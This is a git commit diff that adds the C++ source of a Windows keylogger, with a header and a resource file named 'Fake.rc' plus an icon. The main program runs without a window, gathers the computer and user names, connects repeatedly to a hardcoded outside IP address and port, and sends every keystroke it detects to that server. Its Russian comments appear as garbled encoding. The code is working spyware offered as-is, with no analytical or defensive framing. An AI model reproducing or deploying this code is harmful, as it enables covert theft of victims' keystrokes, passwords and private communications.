parent
fb52755d80
commit
4183f80971
@ -0,0 +1,300 @@
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
#include <WinSock2.h>
|
||||
#include <iostream>
|
||||
#include <map>
|
||||
#include <vector>
|
||||
#include <conio.h>
|
||||
#include <string>
|
||||
#include <windows.h>
|
||||
#include <sstream>
|
||||
#include <fstream>
|
||||
|
||||
#pragma warning(disable: 4996)
|
||||
|
||||
#include "main.h"
|
||||
|
||||
std::map<unsigned char, std::string> BUTTON_CODES = {
|
||||
// {0x01, "LMB"}, // ëåâàÿ êíîïêà ìûøè
|
||||
// {0x02, "RMB"}, // ïðàâàÿ êíîïêà ìûøè
|
||||
// {0x03, "CTRL+Break"}, // êîìáèíàöèÿ CTRL + Break
|
||||
// {0x04, "MMB"}, // ñðåäíÿÿ êíîïêà ìûøè
|
||||
{0x08, "BackSpace"}, // êíîïêà âîçâðàòà íà îäíó ïîçèöèþ
|
||||
{0x09, "TAB"},
|
||||
{0x0D, "Enter"},
|
||||
{0x10, "SHIFT_ADV"}, // âñïîìîãàòåëüíàÿ êëàâèøà Shift
|
||||
{0x11, "CTRL"},
|
||||
{0x12, "ALT"},
|
||||
// {0x13, "PAUSE"},
|
||||
{0x14, "Caps Lock"},
|
||||
{0x1B, "ESC"},
|
||||
{0x20, "Space"}, // ïðîáåë
|
||||
{0x21, "Page Up"},
|
||||
{0x22, "Page Down"},
|
||||
{0x23, "END"},
|
||||
{0x24, "HOME"},
|
||||
{0x25, "Left arrow"}, // ñòðåëêà âëåâî
|
||||
{0x26, "Up arrow"}, // ñòðåëêà ââåðõ
|
||||
{0x27, "Right arrow"}, // ñòðåëêà âïðàâî
|
||||
{0x28, "Down arrow"}, // ñòðåëêà âíèç
|
||||
// {0x2C, "Print Screen"},
|
||||
{0x2D, "Insert"},
|
||||
{0x2E, "Delete"},
|
||||
{0x2F, "HELP"},
|
||||
{0x30, "0"},
|
||||
{0x31, "1"},
|
||||
{0x32, "2"},
|
||||
{0x33, "3"},
|
||||
{0x34, "4"},
|
||||
{0x35, "5"},
|
||||
{0x36, "6"},
|
||||
{0x37, "7"},
|
||||
{0x38, "8"},
|
||||
{0x39, "9"},
|
||||
|
||||
{0x41, "A"},
|
||||
{0x42, "B"},
|
||||
{0x43, "C"},
|
||||
{0x44, "D"},
|
||||
{0x45, "E"},
|
||||
{0x46, "F"},
|
||||
{0x47, "G"},
|
||||
{0x48, "H"},
|
||||
{0x49, "I"},
|
||||
{0x4A, "J"},
|
||||
{0x4B, "K"},
|
||||
{0x4C, "L"},
|
||||
{0x4D, "M"},
|
||||
{0x4E, "N"},
|
||||
{0x4F, "O"},
|
||||
{0x50, "P"},
|
||||
{0x51, "Q"},
|
||||
{0x52, "R"},
|
||||
{0x53, "S"},
|
||||
{0x54, "T"},
|
||||
{0x55, "U"},
|
||||
{0x56, "V"},
|
||||
{0x57, "W"},
|
||||
{0x58, "X"},
|
||||
{0x59, "Y"},
|
||||
{0x5A, "Z"},
|
||||
|
||||
{0x5B, "Left Windows"},
|
||||
{0x5C, "Right Windows"},
|
||||
|
||||
{0x60, "NumPad 0"},
|
||||
{0x61, "NumPad 1"},
|
||||
{0x62, "NumPad 2"},
|
||||
{0x63, "NumPad 3"},
|
||||
{0x64, "NumPad 4"},
|
||||
{0x65, "NumPad 5"},
|
||||
{0x66, "NumPad 6"},
|
||||
{0x67, "NumPad 7"},
|
||||
{0x68, "NumPad 8"},
|
||||
{0x69, "NumPad 9"},
|
||||
|
||||
{0x6A, "*"},
|
||||
{0x6B, "+"},
|
||||
{0x6C, "\\"},
|
||||
{0x6D, "-"},
|
||||
{0x6E, "."},
|
||||
{0x6F, "/"},
|
||||
|
||||
{0x70, "F1"},
|
||||
{0x71, "F2"},
|
||||
{0x72, "F3"},
|
||||
{0x73, "F4"},
|
||||
{0x74, "F5"},
|
||||
{0x75, "F6"},
|
||||
{0x76, "F7"},
|
||||
{0x77, "F8"},
|
||||
{0x78, "F9"},
|
||||
{0x79, "F10"},
|
||||
{0x7A, "F11"},
|
||||
{0x7B, "F12"},
|
||||
|
||||
{0x90, "Num Lock"},
|
||||
// {0x91, "Scroll Lock"},
|
||||
|
||||
{0xA0, "Left Shift"},
|
||||
{0xA1, "Right Shift"},
|
||||
|
||||
{0xA2, "Left CTRL"},
|
||||
{0xA3, "Right CTRL"},
|
||||
};
|
||||
|
||||
struct TCPIPPacket {
|
||||
|
||||
uint8_t typeID; // èäåíòèôèêàòîð òèïà ïàêåòà
|
||||
uint32_t size; // ðàçìåð âñåãî ïàêåòà â áàéòàõ
|
||||
uint32_t time; // âðåìåííàÿ ìåòêà ïàêåòà
|
||||
uint32_t crc32; // êîíòðîëüíàÿ ñóììà ïàêåòà
|
||||
|
||||
uint32_t pcNameSize; // êîëè÷åñòâî áàéòîâ â èìåíè êîìïüþòåðà
|
||||
std::string pcName; // èìÿ êîìïüþòåðà
|
||||
|
||||
uint32_t userNameSize; // êîëè÷åñòâî áàéòîâ â èìåíè ïîëüçîâàòåëÿ
|
||||
std::string userName; // èìÿ ïîëüçîâàòåëÿ
|
||||
|
||||
uint32_t keyNameSize; // êîëè÷åñòâî áàéòîâ â èìåíè íàæàòîé êëàâèøè
|
||||
std::string keyName; // èìÿ íàæàòîé êëàâèøè
|
||||
|
||||
TCPIPPacket() :
|
||||
typeID(0xAA), size(0), time(0), crc32(0),
|
||||
pcNameSize(0), pcName(""), userNameSize(0),
|
||||
userName(""), keyNameSize(0), keyName("")
|
||||
{
|
||||
|
||||
}
|
||||
};
|
||||
|
||||
bytes_vector packetToBytes(const TCPIPPacket& rPacket); // ìåòîä ïðåîáðàçîâàíèÿ ïàêåòà â âåêòîð
|
||||
|
||||
uint32_t calculateCrc32(bytes_vector& vBytes); // ôóíêöèÿ ðàñ÷åòà êîíòðîëüíîé ñóììû ïàêåòà
|
||||
void sendPacket(SOCKET& socket, bytes_vector& vBytes); // ôóíêöèÿ îòïðàâêè ïàêåòà
|
||||
|
||||
void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket); // îáðàáîò÷èê êëàâèø
|
||||
|
||||
int WINAPI wWinMain(
|
||||
_In_ HINSTANCE hInstance,
|
||||
_In_opt_ HINSTANCE hPrevInstance,
|
||||
_In_ LPWSTR lpCmdLine,
|
||||
_In_ int nShowCmd
|
||||
) {
|
||||
|
||||
TCPIPPacket packet; // ïàêåò äëÿ îòïðàâêè
|
||||
|
||||
TCHAR pcName[SHRT_MAX];
|
||||
DWORD pcNameSize = SHRT_MAX;
|
||||
|
||||
TCHAR userName[SHRT_MAX];
|
||||
DWORD userNameSize = SHRT_MAX;
|
||||
|
||||
/* ïîëó÷àåì èìÿ êîìïüþòåðà */
|
||||
|
||||
while (!GetComputerName(pcName, &pcNameSize)); // ïîêà íå óäàåòñÿ ïîëó÷èòü èìÿ êîìïüþòåðà, áóäåì âèñåòü â áåñêîíå÷íîì öèêëå
|
||||
packet.pcName = pcName; // ñîõðàíèì èìÿ êîìïüþòåðà â ïàêåòå
|
||||
packet.pcNameSize = packet.pcName.length(); // çàïèøåì äëèíó èìåíè êîìïüþòåðà
|
||||
|
||||
/* ïîëó÷àåì èìÿ ïîëüçîâàòåëÿ */
|
||||
|
||||
while (!GetUserName(userName, &userNameSize)); // ïîêà íå óäàñòñÿ ïîëó÷èòü èìÿ ïîëüçîâàòåëÿ, áóäåì âèñåòü â áåñêîíå÷íîì öèêëå
|
||||
packet.userName = userName; // ñîõðàíèì èìÿ ïîëüçîâàòåëÿ â ïàêåòå
|
||||
packet.userNameSize = packet.userName.length(); // çàïèøåì äëèíó èìåíè ïîëüçîâàòåëÿ
|
||||
|
||||
/* ïîäêëþ÷àåìñÿ ê ñåðâåðó */
|
||||
|
||||
WSADATA wsaData;
|
||||
const auto dllVersion = MAKEWORD(2, 1);
|
||||
|
||||
while (WSAStartup(dllVersion, &wsaData) != 0); // ïûòàåìñÿ ïîäêþ÷èòü áèáëèîòåêó ñ ñîêåòàìè áåñêîíå÷íî
|
||||
|
||||
SOCKADDR_IN socketAddress;
|
||||
socketAddress.sin_addr.s_addr = inet_addr("185.158.115.73"); // IP-àäðåñ ñåðâåð
|
||||
socketAddress.sin_port = htons(51043); // ïîðò, ÷åðåç êîòîðûé ïîäêëþ÷àåìñÿ ê ñåðâåðó
|
||||
socketAddress.sin_family = AF_INET;
|
||||
|
||||
SOCKET connection = socket(AF_INET, SOCK_STREAM, NULL); // ñîçäàåì ñîêåò
|
||||
while (connect(connection, (SOCKADDR*)&socketAddress, sizeof(socketAddress)) != 0); // áåñêîíå÷íî ïûòàåìñÿ ïîäêëþ÷èòüñÿ ê ñåðâåðó
|
||||
|
||||
/* Îòñëåæèâàåì íàæàòèå êëàâèø */
|
||||
|
||||
while (true) {
|
||||
processKeyboard(connection, packet);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void processKeyboard(SOCKET& socket, TCPIPPacket& rPacket) {
|
||||
for (const auto& mRow : BUTTON_CODES) {
|
||||
|
||||
const auto keyID = mRow.first; // ïîëó÷àåì èäåíòèôèêàòîð êëàâèøè
|
||||
|
||||
if (!(GetAsyncKeyState(keyID) & (1 << 16))) { // åñëè ðàññìàòðèâàåìàÿ êëàâèøà íå íàæàòà
|
||||
continue; // èùåì äàëüøå
|
||||
}
|
||||
|
||||
rPacket.time = (uint32_t)std::time(nullptr); // çàïèøåì UNIX-âðåìÿ
|
||||
|
||||
rPacket.keyName = mRow.second; // çàïèøåì èìÿ êëàâèøè
|
||||
rPacket.keyNameSize = mRow.second.length(); // çàïèøåì äëèíó èìåíè êëàâèøè â áàéòàõ
|
||||
|
||||
rPacket.size = [](const TCPIPPacket& rPacket) -> uint32_t { // îáíîâëÿåì ðàçìåð ïàêåòà
|
||||
return (0
|
||||
+ sizeof(rPacket.typeID) // ïîëå äëÿ õðàíåíèÿ èäåíòèôèêàòîðà ïàêåòà
|
||||
+ sizeof(rPacket.size) // ïîëå ïîä õðàíåíèå äëèíû ïàêåòà
|
||||
+ sizeof(rPacket.time) // ïîëå ïîä õðàíåíèå âðåìåííîé ìåòêè
|
||||
+ sizeof(rPacket.crc32) // ïîëå ïîä õðàíåíèå êîíòðîëüíîé ñóììû ïàêåòà
|
||||
+ rPacket.pcName.length() // äîáàâëÿåì äëèíó èìåíè êîìïüþòåðà
|
||||
+ sizeof(rPacket.pcNameSize) // äîáàâëÿåì ïîëå ïîä õðàíåíèå äëèíû èìåíè êîìïüþòåðà
|
||||
+ rPacket.userName.length() // äîáàâëÿåì äëèíó èìåíè ïîëüçîâàòåëÿ
|
||||
+ sizeof(rPacket.userNameSize) // äîáàâëÿåì ïîëå ïîä õðàíåíèå äëèíû èìåíè ïîëüçîâàòåëÿ
|
||||
+ rPacket.keyName.length() // äîáàâëÿåì äëèíó èìåíè íàæàòîé êëàâèøè
|
||||
+ sizeof(rPacket.keyNameSize) // äîáàâëÿåì ïîëå ïîä õðàíåíèå äëèíû èìåíè íàæàòîé êëàâèøè
|
||||
);
|
||||
}(rPacket);
|
||||
|
||||
bytes_vector vBytes = packetToBytes(rPacket); // ïðåîáðàçóåì ïàêåò â âåêòîð áàéòîâ
|
||||
rPacket.crc32 = calculateCrc32(vBytes); // çàïèñûâàåì êîíòðîëüíóþ ñóììó ïàêåòà
|
||||
|
||||
sendPacket(socket, vBytes); // îòïðàâëÿåì ïàêåò
|
||||
|
||||
Sleep(100); // 10 ìñ îòäûõàåì
|
||||
}
|
||||
|
||||
Sleep(10); // 10 ìñ îòäûõàåì
|
||||
}
|
||||
|
||||
uint32_t calculateCrc32(bytes_vector& vBytes) {
|
||||
uint32_t value, crc = 0xFF'FF'FF'FF;
|
||||
|
||||
for (const auto byte : vBytes) {
|
||||
value = (crc ^ byte) & 0xFF;
|
||||
|
||||
for (auto i = 0; i < CHAR_BIT; i++) {
|
||||
value = (value & 0x1) ? ((value >> 1) ^ 0xED'B8'83'20) : (value >> 1);
|
||||
}
|
||||
|
||||
crc = value ^ crc >> CHAR_BIT;
|
||||
}
|
||||
|
||||
return crc ^ 0xFF'FF'FF'FF;
|
||||
}
|
||||
|
||||
void sendPacket(SOCKET& socket, bytes_vector& vBytes) {
|
||||
|
||||
const auto size = vBytes.size();
|
||||
char* message = new char[size + 1];
|
||||
uint32_t i = 0;
|
||||
|
||||
for (const auto byte : vBytes) { // êîïèðóåì áàéòû èç âåêòîðà â ìàññèâ
|
||||
message[i++] = byte;
|
||||
}
|
||||
|
||||
send(socket, message, size, NULL); // îòïðàâëÿåì ñîîáùåíèå ïî TCP/IP
|
||||
|
||||
delete[] message; // óäàëÿåì ìàññèâ
|
||||
}
|
||||
|
||||
template <>
|
||||
void pushValue(bytes_vector& vBytes, const std::string& value) {
|
||||
vBytes.insert(vBytes.end(), value.begin(), value.end());
|
||||
}
|
||||
|
||||
|
||||
bytes_vector packetToBytes(const TCPIPPacket& rPacket) {
|
||||
bytes_vector vBytes;
|
||||
|
||||
pushValue(vBytes, rPacket.typeID); // òèï ïàêåòà
|
||||
pushValue(vBytes, rPacket.size); // ðàçìåð ïàêåòà
|
||||
pushValue(vBytes, rPacket.time); // âðåìåííàÿ ìåòêà
|
||||
pushValue(vBytes, rPacket.crc32); // êîíòðîëüíàÿ ñóììà
|
||||
pushValue(vBytes, rPacket.pcNameSize); // êîëè÷åñòâî áàéòîâ èìåíè êîìïüþòåðà
|
||||
pushValue(vBytes, rPacket.pcName); // èìÿ êîìïüþòåðà
|
||||
pushValue(vBytes, rPacket.userNameSize); // êîëè÷åñòâî áàéòîâ èìåíè ïîëüçîâàòåëÿ
|
||||
pushValue(vBytes, rPacket.userName); // èìÿ ïîëüçîâàòåëÿ
|
||||
pushValue(vBytes, rPacket.keyNameSize); // êîëè÷åñòâî áàéòîâ èìåíè êëàâèøè
|
||||
pushValue(vBytes, rPacket.keyName); // èìÿ êëàâèøè
|
||||
|
||||
return vBytes;
|
||||
}
|
@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
|
||||
typedef std::vector<char> bytes_vector;
|
||||
|
||||
template <typename T>
|
||||
void pushValue(bytes_vector& vBytes, const T& value) {
|
||||
for (int i = sizeof(value) - 1; i >= 0; i--) {
|
||||
const unsigned char byte = (value >> (i * CHAR_BIT)) & 0xFF;
|
||||
vBytes.push_back(byte);
|
||||
}
|
||||
}
|
@ -0,0 +1,16 @@
|
||||
//{{NO_DEPENDENCIES}}
|
||||
// Âêëþ÷àåìûé ôàéë, ñîçäàííûé â Microsoft Visual C++.
|
||||
// Èñïîëüçóåòñÿ Fake.rc
|
||||
//
|
||||
#define IDI_ICON1 101
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 102
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
After Width: | Height: | Size: 9.4 KiB |
Loading…
Reference in new issue